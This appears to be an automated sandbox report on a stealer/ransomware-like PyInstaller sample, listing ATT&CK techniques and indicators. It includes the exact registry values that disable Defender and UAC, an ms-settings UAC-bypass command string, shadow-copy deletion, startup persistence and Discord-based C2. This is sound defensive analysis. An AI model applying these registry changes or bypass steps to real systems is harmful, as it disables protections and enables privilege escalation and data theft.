55a75b5bc90a6fc8157c3d0917c6ce2a48da17e11f37c50b760838bbd33f1dad

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 10 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1372	powershell.exe
4928	powershell.exe
2296	powershell.exe
3628	Process not Found
1996	powershell.exe
2648	powershell.exe
3988	powershell.exe
4564	powershell.exe
4668	powershell.exe
7176	Process not Found
4552	powershell.exe
3356	powershell.exe
4904	powershell.exe
3272	powershell.exe
2740	powershell.exe
1596	powershell.exe
4576	Process not Found
5464	powershell.exe
5372	Process not Found
1116	powershell.exe
4724	powershell.exe
6540	powershell.exe
6460	powershell.exe
2212	powershell.exe
428	powershell.exe
5904	powershell.exe
680	powershell.exe
6720	powershell.exe
3020	powershell.exe
5928	powershell.exe
720	powershell.exe
6880	powershell.exe
3372	powershell.exe
6196	Process not Found
5980	powershell.exe
2264	Process not Found
1496	Process not Found
1212	powershell.exe
1088	powershell.exe
4100	powershell.exe
5460	powershell.exe
5776	powershell.exe
1308	powershell.exe
484	powershell.exe
7148	powershell.exe
3640	Process not Found
1236	powershell.exe
5092	powershell.exe
3792	Process not Found
4728	powershell.exe
5292	powershell.exe
5576	powershell.exe
3860	powershell.exe
6548	powershell.exe
3632	Process not Found
6208	powershell.exe
1192	powershell.exe
6280	powershell.exe
4616	powershell.exe
308	powershell.exe
6252	powershell.exe
1008	powershell.exe
984	powershell.exe
1372	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Disables cmd.exe use via registry modification 4 IoCs

persistence privilege_escalation

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	rayxservice.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	rayxservice.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
648	icacls.exe
1088	takeown.exe
5848	takeown.exe
8308	Process not Found
5360	Process not Found
2072	icacls.exe
7136	icacls.exe
1564	takeown.exe
6956	icacls.exe
7520	takeown.exe
5312	icacls.exe
7312	Process not Found
1500	Process not Found
1508	icacls.exe
4672	icacls.exe
6364	icacls.exe
1788	icacls.exe
5344	takeown.exe
5344	Process not Found
4700	icacls.exe
3264	icacls.exe
7832	icacls.exe
7132	Process not Found

Drops startup file 12 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vkj1ulw98r6enjph.exe	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vkj1ulw98r6enjph.exe	main.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w23dm6zk6wxwcu8t.exe	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\170w8szr8j7jpqm1.exe	rayxservice.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7ymzrmr5z0gb127s.exe	rayxservice.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7ymzrmr5z0gb127s.exe	rayxservice.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w23dm6zk6wxwcu8t.exe	main.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qv3svj8lftv5ai4b.exe	rayxservice.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qv3svj8lftv5ai4b.exe	rayxservice.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\170w8szr8j7jpqm1.exe	rayxservice.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aq7rpqs8k1zz7v9p.exe	rayxservice.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aq7rpqs8k1zz7v9p.exe	rayxservice.exe

Executes dropped EXE 6 IoCs

pid	Process
1264	rayxservice.exe
5884	rayxservice.exe
5112	rayxservice.exe
2020	rayxservice.exe
4400	rayxservice.exe
5932	rayxservice.exe

Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Minimal	rayxservice.exe

Loads dropped DLL 64 IoCs

pid	Process
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe
2664	main.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1508	icacls.exe
7136	icacls.exe
6956	icacls.exe
7520	takeown.exe
5344	Process not Found
1788	icacls.exe
7832	icacls.exe
8308	Process not Found
3264	icacls.exe
1564	takeown.exe
6364	icacls.exe
1088	takeown.exe
5848	takeown.exe
4672	icacls.exe
4700	icacls.exe
648	icacls.exe
5312	icacls.exe
7312	Process not Found
2072	icacls.exe
5344	takeown.exe
7132	Process not Found
1500	Process not Found
5360	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 35 IoCs

Web Service

T1102

flow	ioc
49	discord.com
66	discord.com
71	discord.com
57	discord.com
103	discord.com
83	discord.com
114	discord.com
120	discord.com
37	discord.com
41	discord.com
108	discord.com
132	discord.com
1	discord.com
3	discord.com
5	discord.com
9	discord.com
42	discord.com
61	discord.com
69	discord.com
90	discord.com
92	discord.com
119	discord.com
7	discord.com
32	discord.com
124	discord.com
79	discord.com
87	discord.com
4	discord.com
14	discord.com
21	discord.com
25	discord.com
26	discord.com
53	discord.com
94	discord.com
129	discord.com

Looks up external IP address via web service 61 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ipinfo.io
34	api.ipify.org
89	ipinfo.io
131	ipinfo.io
44	api.ipify.org
96	api64.ipify.org
126	api64.ipify.org
130	api.ipify.org
134	api64.ipify.org
81	ipinfo.io
38	api.ipify.org
4	api64.ipify.org
5	ipinfo.io
10	api.ipify.org
55	ipinfo.io
106	ipinfo.io
1	api.ipify.org
68	ipinfo.io
76	api.ipify.org
105	api.ipify.org
1	ipinfo.io
5	ip-api.com
29	ipinfo.io
45	ipinfo.io
59	ipinfo.io
100	api.ipify.org
46	api64.ipify.org
77	ipinfo.io
18	api.ipify.org
30	api64.ipify.org
85	ipinfo.io
117	ipinfo.io
5	api64.ipify.org
54	api.ipify.org
22	api.ipify.org
23	ipinfo.io
111	api.ipify.org
50	api.ipify.org
58	api.ipify.org
74	api64.ipify.org
101	ipinfo.io
112	ipinfo.io
4	ip-api.com
5	api.ipify.org
11	ipinfo.io
39	ipinfo.io
67	api.ipify.org
80	api.ipify.org
84	api.ipify.org
98	api64.ipify.org
116	api.ipify.org
1	api64.ipify.org
51	ipinfo.io
63	api.ipify.org
64	ipinfo.io
88	api.ipify.org
122	api64.ipify.org
4	api.ipify.org
4	ipinfo.io
28	api.ipify.org
35	ipinfo.io

Enumerates processes with tasklist 1 TTPs 59 IoCs

discovery

Process Discovery

T1057

pid	Process
5020	tasklist.exe
7088	tasklist.exe
6672	tasklist.exe
7012	tasklist.exe
6276	Process not Found
3372	Process not Found
5708	tasklist.exe
6740	tasklist.exe
5640	Process not Found
944	tasklist.exe
2072	tasklist.exe
1600	tasklist.exe
3952	tasklist.exe
5628	tasklist.exe
6212	tasklist.exe
2052	tasklist.exe
2292	Process not Found
6112	tasklist.exe
132	tasklist.exe
6172	tasklist.exe
3148	tasklist.exe
2744	tasklist.exe
4760	tasklist.exe
764	tasklist.exe
6576	tasklist.exe
3668	tasklist.exe
2856	tasklist.exe
6988	tasklist.exe
5016	tasklist.exe
1460	tasklist.exe
6776	tasklist.exe
5040	tasklist.exe
6272	tasklist.exe
2608	tasklist.exe
6512	tasklist.exe
5704	tasklist.exe
5856	tasklist.exe
4040	tasklist.exe
3100	tasklist.exe
7188	Process not Found
3800	tasklist.exe
6992	tasklist.exe
6592	tasklist.exe
5068	tasklist.exe
5092	tasklist.exe
6956	tasklist.exe
4000	tasklist.exe
6972	tasklist.exe
4976	tasklist.exe
2948	tasklist.exe
8176	tasklist.exe
5900	tasklist.exe
7164	tasklist.exe
4000	tasklist.exe
5972	tasklist.exe
5608	tasklist.exe
3504	tasklist.exe
7044	tasklist.exe
2900	Process not Found

Hide Artifacts: Hidden Files and Directories 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1372	cmd.exe
1920	cmd.exe
4128	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x001900000002b04c-1171.dat	pyinstaller

Event Triggered Execution: Netsh Helper DLL 1 TTPs 15 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 38 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2004	netsh.exe
4724	netsh.exe
6788	netsh.exe
7644	cmd.exe
6812	netsh.exe
6100	Process not Found
9004	Process not Found
6828	netsh.exe
7200	netsh.exe
2260	cmd.exe
7244	cmd.exe
3364	Process not Found
5016	cmd.exe
6324	netsh.exe
760	netsh.exe
5896	netsh.exe
5736	netsh.exe
7624	Process not Found
7420	Process not Found
3264	netsh.exe
4344	netsh.exe
1824	netsh.exe
5940	netsh.exe
6324	netsh.exe
5688	netsh.exe
7012	netsh.exe
2948	Process not Found
3272	netsh.exe
4456	netsh.exe
424	Process not Found
7808	Process not Found
6760	netsh.exe
5548	cmd.exe
1308	netsh.exe
5140	netsh.exe
3796	Process not Found
1188	netsh.exe
180	Process not Found

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe

Delays execution with timeout.exe 36 IoCs

pid	Process
4684	timeout.exe
3376	timeout.exe
4748	timeout.exe
4508	timeout.exe
280	timeout.exe
304	timeout.exe
1604	timeout.exe
6460	timeout.exe
784	timeout.exe
4836	timeout.exe
6136	timeout.exe
5756	timeout.exe
5288	timeout.exe
5388	timeout.exe
6096	timeout.exe
5420	timeout.exe
2588	timeout.exe
3624	Process not Found
5948	timeout.exe
3144	timeout.exe
4956	timeout.exe
5248	timeout.exe
880	timeout.exe
1852	timeout.exe
2748	timeout.exe
6700	timeout.exe
4612	timeout.exe
2008	timeout.exe
5312	timeout.exe
7404	Process not Found
3296	timeout.exe
2828	timeout.exe
5596	timeout.exe
3380	timeout.exe
2912	timeout.exe
6920	Process not Found

Interacts with shadow copies 3 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
7148	vssadmin.exe
2312	vssadmin.exe
5824	vssadmin.exe
8108	vssadmin.exe
1840	Process not Found
3568	Process not Found
720	Process not Found
2300	vssadmin.exe

Kills process with taskkill 9 IoCs

pid	Process
3368	taskkill.exe
5372	taskkill.exe
2292	taskkill.exe
3100	taskkill.exe
6520	Process not Found
6724	taskkill.exe
6984	Process not Found
6120	Process not Found
440	Process not Found

Modifies registry class 30 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell	main.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	main.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	main.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	main.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c \"\"C:\\Users\\Admin\\AppData\\Local\\Temp\\main.exe\" & pause\""	main.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c \"\"C:\\Users\\systemrayxadmin\\rayxservice.exe\" & pause\""	rayxservice.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	rayxservice.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c \"\"C:\\Users\\Admin\\AppData\\Local\\Temp\\main.exe\" & pause\""	main.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	rayxservice.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	main.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c \"\"C:\\Users\\systemrayxadmin\\rayxservice.exe\" & pause\""	rayxservice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c \"\"C:\\Users\\systemrayxadmin\\rayxservice.exe\" & pause\""	rayxservice.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings	main.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open	main.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	main.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	rayxservice.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	main.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c \"\"C:\\Users\\systemrayxadmin\\rayxservice.exe\" & pause\""	rayxservice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	rayxservice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c \"\"C:\\Users\\systemrayxadmin\\rayxservice.exe\" & pause\""	rayxservice.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command	rayxservice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	rayxservice.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

pid	Process
3356	reg.exe
4332	reg.exe
3988	reg.exe
6044	reg.exe
4636	reg.exe
7904	Process not Found
2292	Process not Found
6648	Process not Found
3980	reg.exe
1768	reg.exe
6256	reg.exe
5152	Process not Found
4256	reg.exe
1968	Process not Found
1708	Process not Found
5788	reg.exe
5936	reg.exe
3240	reg.exe
1616	reg.exe
5116	reg.exe
2588	Process not Found
4044	reg.exe
2976	reg.exe
5844	reg.exe
1040	reg.exe
3484	Process not Found
7112	reg.exe
6628	reg.exe
7240	reg.exe
6732	reg.exe
7360	Process not Found
5692	reg.exe
6376	reg.exe
4316	reg.exe
1488	reg.exe
3952	Process not Found
5164	reg.exe
4128	reg.exe
1192	reg.exe
5124	reg.exe
7404	reg.exe
5232	reg.exe
3916	reg.exe
4616	reg.exe
792	reg.exe
7612	Process not Found
8448	Process not Found
6864	reg.exe
4612	reg.exe
4704	reg.exe
5868	reg.exe
320	reg.exe
2292	reg.exe
7820	reg.exe
5904	reg.exe
5228	reg.exe
5328	reg.exe
6532	reg.exe
4104	reg.exe
6148	reg.exe
5564	reg.exe
6416	reg.exe
6632	reg.exe
4392	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3376	schtasks.exe
2844	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
2212	powershell.exe
2212	powershell.exe
5884	rayxservice.exe
5884	rayxservice.exe
5884	rayxservice.exe
1820	powershell.exe
1820	powershell.exe
5884	rayxservice.exe
5884	rayxservice.exe
840	powershell.exe
840	powershell.exe
5884	rayxservice.exe
5884	rayxservice.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	main.exe
Token: SeDebugPrivilege	2148	main.exe
Token: SeDebugPrivilege	4000	tasklist.exe
Token: SeDebugPrivilege	5900	tasklist.exe
Token: SeDebugPrivilege	5884	rayxservice.exe
Token: SeDebugPrivilege	6112	tasklist.exe
Token: SeDebugPrivilege	944	tasklist.exe
Token: SeDebugPrivilege	132	tasklist.exe
Token: SeDebugPrivilege	2072	tasklist.exe
Token: SeDebugPrivilege	1600	tasklist.exe
Token: SeDebugPrivilege	5112	rayxservice.exe
Token: SeIncreaseQuotaPrivilege	6176	wmic.exe
Token: SeSecurityPrivilege	6176	wmic.exe
Token: SeTakeOwnershipPrivilege	6176	wmic.exe
Token: SeLoadDriverPrivilege	6176	wmic.exe
Token: SeSystemProfilePrivilege	6176	wmic.exe
Token: SeSystemtimePrivilege	6176	wmic.exe
Token: SeProfSingleProcessPrivilege	6176	wmic.exe
Token: SeIncBasePriorityPrivilege	6176	wmic.exe
Token: SeCreatePagefilePrivilege	6176	wmic.exe
Token: SeBackupPrivilege	6176	wmic.exe
Token: SeRestorePrivilege	6176	wmic.exe
Token: SeShutdownPrivilege	6176	wmic.exe
Token: SeDebugPrivilege	6176	wmic.exe
Token: SeSystemEnvironmentPrivilege	6176	wmic.exe
Token: SeRemoteShutdownPrivilege	6176	wmic.exe
Token: SeUndockPrivilege	6176	wmic.exe
Token: SeManageVolumePrivilege	6176	wmic.exe
Token: 33	6176	wmic.exe
Token: 34	6176	wmic.exe
Token: 35	6176	wmic.exe
Token: 36	6176	wmic.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	840	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	6740	tasklist.exe
Token: SeIncreaseQuotaPrivilege	6176	wmic.exe
Token: SeSecurityPrivilege	6176	wmic.exe
Token: SeTakeOwnershipPrivilege	6176	wmic.exe
Token: SeLoadDriverPrivilege	6176	wmic.exe
Token: SeSystemProfilePrivilege	6176	wmic.exe
Token: SeSystemtimePrivilege	6176	wmic.exe
Token: SeProfSingleProcessPrivilege	6176	wmic.exe
Token: SeIncBasePriorityPrivilege	6176	wmic.exe
Token: SeCreatePagefilePrivilege	6176	wmic.exe
Token: SeBackupPrivilege	6176	wmic.exe
Token: SeRestorePrivilege	6176	wmic.exe
Token: SeShutdownPrivilege	6176	wmic.exe
Token: SeDebugPrivilege	6176	wmic.exe
Token: SeSystemEnvironmentPrivilege	6176	wmic.exe
Token: SeRemoteShutdownPrivilege	6176	wmic.exe
Token: SeUndockPrivilege	6176	wmic.exe
Token: SeManageVolumePrivilege	6176	wmic.exe
Token: 33	6176	wmic.exe
Token: 34	6176	wmic.exe
Token: 35	6176	wmic.exe
Token: 36	6176	wmic.exe
Token: SeDebugPrivilege	7088	tasklist.exe
Token: SeDebugPrivilege	7164	tasklist.exe
Token: SeSecurityPrivilege	5332	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1788 wrote to memory of 2664	1788	main.exe	77
PID 1788 wrote to memory of 2664	1788	main.exe	77
